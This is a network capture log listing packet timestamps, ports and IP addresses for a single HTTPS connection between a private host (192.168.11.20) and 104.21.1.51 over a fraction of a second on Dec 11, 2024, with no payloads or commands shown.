Dec 11, 2024 12:58:49.592020035 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.592072964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.593291044 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.593317986 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.593462944 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.593462944 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.593537092 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.593537092 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.593554974 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.593565941 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.595552921 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.595582008 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.595756054 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.595772982 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.595829964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.595829964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.597357035 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.597382069 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.597533941 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.597533941 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.597553015 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.597565889 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.597565889 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.597644091 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.597644091 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.599215984 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.599247932 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.599354982 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.599354982 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.599375963 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.599404097 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.599498034 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.600905895 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.600925922 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.601080894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.601080894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.601108074 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.601108074 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.601119041 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.601176977 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.601200104 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.602952003 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.602981091 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.603121042 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.603121042 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.603138924 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.603152037 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.603152037 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.603224993 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.603283882 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.604945898 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.604975939 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.605093002 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.605093956 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.605171919 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.605171919 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.605182886 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.605237961 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.605237961 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.606750011 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.606781960 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.606906891 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.606906891 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.606928110 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.606944084 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.607033968 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.608793974 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.608823061 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.608944893 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.608992100 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.608992100 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.609004974 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.609019041 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.609086990 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.609086990 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.610415936 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.610440016 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.610547066 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.610563993 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.610575914 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.610649109 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.610649109 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.610670090 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.611141920 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.611335993 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.689024925 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.770590067 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.770611048 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.770781994 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.770781994 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.770796061 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.770808935 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.770886898 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.770940065 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.772238970 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.772258997 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.772396088 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.772396088 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.772464037 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.772475958 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.772485018 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.772485018 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.772696972 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.774048090 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.774065971 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.774219036 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.774300098 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.774300098 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.774312019 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.774533033 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.775971889 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.775989056 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.776089907 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.776141882 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.776141882 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.776150942 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.776185989 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.776238918 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.776319981 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.777915001 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.777934074 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.778105021 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.778105021 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.778125048 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.778125048 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.778131962 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.778177023 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.778297901 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.779613018 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.779627085 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.779769897 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.779769897 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.779814959 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.779814959 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.779820919 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.779864073 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.779987097 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.781128883 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.781147003 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.781284094 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.781284094 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.781333923 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.781333923 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.781338930 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.781433105 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.781495094 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.782711983 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.782731056 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.782847881 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.782924891 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.782989979 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.783003092 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.783121109 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.784581900 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.784595966 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.784765005 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.784765005 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.784784079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.784784079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.784792900 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.784859896 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.784965038 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.786469936 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.786484003 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.786670923 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.786670923 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.786684990 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.786696911 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.786765099 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.786789894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.788172960 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.788187027 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.788347006 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.788347006 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.788369894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.788369894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.788376093 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.788419008 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.788562059 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.789566040 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.789576054 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.789762974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.789762974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.789777040 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.789860964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.789962053 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.791460037 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.791470051 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.791619062 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.791635036 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.791635990 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.791644096 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.791683912 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.791815996 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.793232918 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.793245077 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.793394089 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.793394089 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.793412924 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.793420076 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.793514967 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.793591022 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.794991016 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.795006037 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.795200109 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.795201063 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.795213938 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.795222044 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.795298100 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.795459032 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.796369076 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.796380043 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.796528101 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.796552896 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.796552896 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.796559095 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.796603918 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.796721935 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.798113108 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.798125029 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.798228025 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.798295021 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.798295021 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.798302889 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.798348904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.798396111 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.798494101 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.800132990 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.800144911 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.800282955 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.800332069 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.800332069 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.800338984 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.800434113 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.800539017 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.801870108 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.801883936 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.802007914 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.802056074 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.802105904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.802105904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.802113056 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.802172899 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.802258015 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.803847075 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.803860903 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.803975105 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.804023981 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.804023981 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.804032087 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.804071903 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.804121017 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.804222107 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.804955006 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.804969072 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.805156946 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.805156946 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.805161953 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.805205107 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.805311918 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.806586981 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.806598902 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.806751013 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.806824923 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.806824923 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.806838989 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.806885958 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.806904078 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.807002068 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.808387041 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.808398962 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.808548927 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.808548927 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.808558941 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.808625937 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.808645964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.808743954 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.810566902 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.810580015 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.810707092 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.810795069 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.810795069 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.810807943 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.810817957 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.810817957 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.811032057 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.811547041 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.811558008 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.811722040 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.811722040 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.811774969 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.811786890 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.811800003 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.811800003 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.811933994 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.813401937 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.813416958 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.813595057 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.813595057 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.813601971 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.813643932 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.813739061 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.815298080 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.815313101 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.815442085 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.815491915 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.815491915 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.815498114 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.815566063 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.815618038 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.815634012 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.816992044 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.817003965 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.817131996 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.817131996 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.817181110 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.817187071 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.817229033 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.817327023 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.817327023 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.818891048 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.818902016 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.819106102 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.819112062 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.819180012 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.819180012 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.819251060 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.820174932 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.820187092 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.820313931 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.820313931 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.820363045 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.820369005 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.820415974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.820415974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.820513010 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.821984053 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.821995974 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.822163105 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.822163105 CET	49757	443	192.168.11.20	104.21.1.51
